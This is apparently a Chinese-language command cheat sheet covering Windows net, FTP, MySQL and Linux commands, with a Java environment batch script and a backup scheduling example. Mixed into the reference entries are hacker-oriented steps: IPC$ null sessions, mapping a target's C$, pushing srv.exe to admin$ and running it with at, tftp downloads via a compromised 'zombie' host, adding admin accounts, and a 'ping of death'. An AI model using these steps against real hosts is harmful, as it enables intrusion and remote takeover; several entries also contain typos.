Shift //用於向前一個引數,原1變0,原2變1.每呼叫一次shift向前一移動一位。
Call //呼叫其他批處理檔案或命令。
Start 命令 引數 //指示出在另一個視窗中開始執行命令。




=============================================================
:: 這段批處理程式可以自動設定Java環境變數

@echo off
IF EXIST %1\bin\java.exe (
rem 如輸入正確的 Java2SDK 安裝目錄,開始設定環境變數
@setx JAVA_HOME %1
@setx path %path%;%JAVA_HOME%\bin
@setx classpath %classpath%;.
@setx classpath %classpath%;%JAVA_HOME%\lib\tools.jar
@setx classpath %classpath%;%JAVA_HOME%\lib\dt.jar
@setx classpath %classpath%;%JAVA_HOME%\jre\lib\rt.jar
@echo on
@echo Java 2 SDK 環境引數設定完畢,正常退出。
) ELSE (
IF "%1"=="" (
rem 如沒有提供安裝目錄,提示之後退出
@echo on
@echo 沒有提供 Java2SDK 的安裝目錄,不做任何設定,現在退出環境變數設定。
) ELSE (
rem 如果提供非空的安裝目錄但沒有bin\java.exe,則指定的目錄為錯誤的目錄
@echo on
@echo 非法的 Java2SDK 的安裝目錄,不做任何設定,現在退出環境變數設定。
)
)




dos命令參考~~~
net use \\ip\ipc$ " " /user:" " 建立IPC空連結
net use \\ip\ipc$ "密碼" /user:"使用者名稱" 建立IPC非空連結
net use h: \\ip\c$ "密碼" /user:"使用者名稱" 直接登陸後對映對方C:到本地為H:
net use h: \\ip\c$ 登陸後對映對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC連結
net use h: /del 刪除對映對方到本地的為H:的對映
net user 使用者名稱 密碼 /add 建立使用者
net user guest /active:yes 啟用guest使用者
net user 檢視有哪些使用者
net user 帳戶名 檢視帳戶的屬性
net localgroup administrators 使用者名稱 /add 把“使用者”新增到管理員中使其具有管理員許可權,注意:administrator後加s用複數
net start 檢視開啟了哪些服務
net start 服務名  開啟服務;(如:net start telnet, net start schedule)
net stop 服務名 停止某服務
net time \\目標ip 檢視對方時間
net time \\目標ip /set 設定本地計算機時間與“目標IP”主機的時間同步,加上引數/yes可取消確認資訊
net view 檢視本地區域網內開啟了哪些共享
net view \\ip 檢視對方區域網內開啟了哪些共享
net config 顯示系統網路設定
net logoff 斷開連線的共享
net pause 服務名 暫停某服務
net send ip "文字資訊" 向對方發信息
net ver 區域網內正在使用的網路連線型別和資訊
net share 檢視本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest使用者登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 檢視開啟了哪些埠,常用netstat -an
netstat -n 檢視埠的網路連線情況,常用netstat -an
netstat -v 檢視正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 檢視某協議使用情況(檢視tcp/ip協議使用情況)
netstat -s 檢視正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可檢視對方最近登陸的使用者名稱(03前的為使用者名稱)-注意:引數-A要大寫
tracert -引數 ip(或計算機名) 跟蹤路由(資料包),引數:“-w數字”用於設定超時間隔。
ping ip(或域名) 向對方主機發送預設大小為32位元組的資料,引數:“-l[空格]資料包大小”;“-n傳送資料次數”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(傳送大於K的檔案並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)檢視本地ip地址,ipconfig可用引數“/all”顯示全部配置資訊
tlist -t 以樹行列表顯示程序(為系統的附加工具,預設是沒有安裝的,在安裝目錄的Support/tools資料夾內)
kill -F 程序名 加-F引數後強制結束某程序(為系統的附加工具,預設是沒有安裝的,在安裝目錄的Support/tools資料夾內)
del -F 檔名 加-F引數後就可刪除只讀檔案,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔檔案,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的檔案。例如“DEL/AR *.*”表示刪除當前目錄下所有隻讀檔案,“DEL/A-S *.*”表示刪除當前目錄下除系統檔案以外的所有檔案
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和檔案。同時使用引數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 碟符\路徑\要移動的檔名 存放移動檔案的路徑\移動後文件名 移動檔案,用引數/y將取消確認移動目錄存在相同檔案的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個檔案並把不同之處輸出到3st.txt檔案中,"> "和"> >" 是重定向命令
at id號 開啟已註冊的某個計劃任務
at /delete 停止所有計劃任務,用引數/yes則不需要確認就直接停止
at id號 /delete 停止某個已註冊的計劃任務
at 檢視所有的計劃任務
at \\ip time 程式名(或一個命令) /r 在某時間執行對方某程式並重新啟動計算機
finger username @host 檢視最近有哪些使用者登陸
telnet ip 埠 遠和登陸伺服器,預設埠為23
open ip 連線到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
copy 路徑\檔名1 路徑\檔名2 /y 複製檔案1到指定的目錄為檔案2,用引數/y就同時取消確認你要改寫一份現存目錄檔案
copy c:\srv.exe \\ip\admin$ 複製本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的檔案,注:2st.txt檔案頭要空三排,引數:/b指二進位制檔案,/a指ASCLL格式檔案
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共享下的srv.exe檔案(所有檔案)至本地C:
xcopy 要複製的檔案或目錄樹 目標地址\目錄名 複製檔案和目錄樹,用引數/Y將不提示覆蓋相同檔案
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將“IP”的server.exe下載到目標主機c:\server.exe 引數:-i指以二進位制模式傳送,如傳送exe檔案時用,如不加-i 則以ASCII模式(傳送文字檔案模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳檔案至伺服器或進行檔案操作,預設埠為21。bin指用二進位制方式傳送(可執行檔案進);預設為ASCII格式傳送(文字檔案時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,閘道器地址Gateway addres,介面地址Interface
arp 檢視和處理ARP快取,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部資訊
start 程式名或命令 /max 或/min 新開一個新視窗並最大化(最小化)執行某程式或命令
mem 檢視cpu使用情況
attrib 檔名(目錄名) 檢視某檔案(目錄)的屬性
attrib 檔名 -A -R -S -H 或 +A +R +S +H 去掉(新增)某檔案的 存檔,只讀,系統,隱藏 屬性;用+則是新增為某屬性
dir 檢視檔案,引數:/Q顯示檔案及目錄屬系統哪個使用者,/T:C顯示檔案建立時間,/T:A顯示檔案上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此引數即“DATE/T”、“TIME/T”將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設定環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程式,並顯示出:請按任意鍵繼續....
if 在批處理程式中執行條件處理(更多說明見if命令及變數)
goto 標籤 將cmd.exe導向到批處理程式中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:“:start”標籤)
call 路徑\批處理檔名 從批處理程式中呼叫另一個批處理程式 (更多說明見call /?)
for 對一組檔案中的每一個檔案執行某個特定命令(更多說明見for命令及變數)
echo on或off 開啟或關閉echo,僅用echo不加引數則顯示當前echo設定
echo 資訊 在螢幕上顯示出資訊
echo 資訊 >> pass.txt 將"資訊"儲存到pass.txt檔案中
findstr "Hello" aa.txt 在aa.txt檔案中尋找字串hello
find 檔名 查詢某檔案
title 標題名字 更改CMD視窗標題名字
color 顏色值 設定cmd控制檯前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 檔名 列印文字檔案
2ver 在DOS視窗下顯示版本資訊
winver 彈出一個視窗顯示版本資訊(記憶體大小、系統版本、補丁版本、計算機名)
format 碟符 /FS:型別 格式化磁碟,型別:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 建立目錄
replace 原始檔 要替換檔案的目錄 替換檔案
ren 原檔名 新檔名 重新命名檔名
tree 以樹形結構顯示出目錄,用引數-f 將列出第個資料夾中檔名稱
type 檔名 顯示文字檔案的內容
more 檔名 逐屏顯示輸出檔案
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令列,重新呼叫win2k命令,並建立巨集)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出工作管理員
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加引數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務預設埠23為其它任何埠
exit 退出cmd.exe程式或目前,用引數/B則是退出當前批處理指令碼而不是cmd.exe
path 路徑\可執行檔案的檔名 為可執行檔案設定一個路徑。
cmd 啟動一個win2K命令解釋視窗。引數:/eff、/en 關閉、開啟命令擴充套件;更我詳細說明見cmd /?
regedit /s 登錄檔檔名 匯入登錄檔;引數/S指安靜模式匯入,無任何提示;
regedit /e 登錄檔檔名 匯出登錄檔
cacls 檔名 引數 顯示或修改檔案訪問控制列表(ACL)——針對NTFS格式時。引數:/D 使用者名稱:設定拒絕某使用者訪問;/P 使用者名稱:perm 替換指定使用者的訪問許可權;/G 使用者名稱:perm 賦予指定使用者訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub使用者訪問。
cacls 檔名 檢視檔案的訪問使用者許可權列表
REM 文字內容 在批處理檔案中添加註解
netsh 檢視或更改本地網路配置情況

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟資訊出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror引數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令列格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠端伺服器的所有響應資訊。
-d 使用除錯方式。
-n 限制ftp的自動登入,即不使用.netrc檔案。
-g 取消全域性檔名。
help [命令] 或 /?[命令] 檢視命令說明
bye 或 quit 終止主機FTP程序,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地檔名 [上傳到主機上的檔名] 將本地一個檔案傳送至遠端主機中
get 或 recv [遠端主機檔名] [下載到本地後的檔名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批檔案至本地主機
mput local-files 將本地主機中一批檔案傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的檔案.如果有本地檔案,就將結果寫至本地檔案
ascii 設定以ASCII方式傳送檔案(預設值)
bin 或 image 設定以二進位制方式傳送檔案
bell 每完成一次檔案傳送,報警提示
cdup 返回上一級目錄
close 中斷與遠端伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連線,可指定連線埠
delete 刪除遠端主機中的檔案
mdelete [remote-files] 刪除一批檔案
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的檔名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統型別
user user-name [password] [account] 重新以別的使用者名稱登入遠端主機
open host [port] 重新建立一個新的連線
prompt 互動提示模式
macdef 定義巨集命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前使用者的HOME目錄
chmod 改變遠端主機的檔案許可權
case 當為ON時,用MGET命令拷貝的檔名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠端主機目錄
cdup 進入遠端主機目錄的父目錄
! 在本地機中執行互動shell,exit回到ftp環境,如!ls*.zip


MYSQL 命令:
mysql -h主機地址 -u使用者名稱 -p密碼 連線MYSQL;如果剛安裝好MYSQL,超級使用者root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u使用者名稱 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 使用者名稱@登入主機 identified by \"密碼\"; 增加新使用者。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統資訊,我們改密碼和新增使用者,實際上就是用這個庫進行操作。

use mysql;
show tables; 顯示庫中的資料表
describe 表名; 顯示資料表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示錶中的記錄
mysqldump --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);註釋:將資料庫school備份到school.bbb檔案,school.bbb是一個文字檔案,檔名任取,開啟看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /引數 關閉或重啟本地或遠端主機。
引數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠端主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /引數 程序名或程序的pid 終止一個或多個任務和程序。
引數說明:/PID 要終止程序的pid,可用tasklist命令獲得各程序的pid,/IM 要終止的程序的程序名,/F 強制終止程序,/T 終止指定的程序及他所啟動的子程序。
tasklist 顯示當前執行在本地和遠端主機上的程序、服務、服務各程序的程序識別符號(PID)。
引數說明:/M 列出當前程序載入的dll檔案,/SVC 顯示出每個程序對應的服務,無引數時就只列出當前的程序。

Linux系統下基本命令: 要區分大小寫
uname 顯示版本資訊(同win2K的 ver)
dir 顯示當前目錄檔案,ls -al 顯示包括隱藏檔案(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 檔名 檢視檔案內容
cat >abc.txt 往abc.txt檔案中寫上內容。
more 檔名 以一頁一頁的方式顯示一個文字檔案。
cp 複製檔案
mv 移動檔案
rm 檔名 刪除檔案,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文件。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查詢字串
diff 檔案檔案比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一臺機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 檢視自己的帳號名稱
groups 檢視某人的Group
passwd 更改密碼
history 檢視自己下過的命令
ps 顯示程序狀態
kill 停止某程序
gcc 黑客通常用它來編譯C語言寫的檔案
su 許可權轉換為指定使用者
telnet IP telnet連線對方主機(同win2K),當出現bash$時就說明連線成功。
ftp ftp連線上某伺服器(同win2K)


Windows 排程範例
若要在 Windows 系統上啟動自動化的備份工作,排程服務必須執行中。您可以利用下列指令來啟動這個服務:
net start schedule

如果排程服務正在執行中,則工作可以利用 at 指令來加以排程,這個指令是用來呼叫批次檔 backup.cmd (backup.cmd 的內容可以在Windows 的備份排程元素找到)。如果您想要在每個星期五的下午 8 點整執行這個指令,則必須呼叫下列指令:

at 20:00 /every:f cmd /c c::\db2\C21\sapscripts\backup.cmd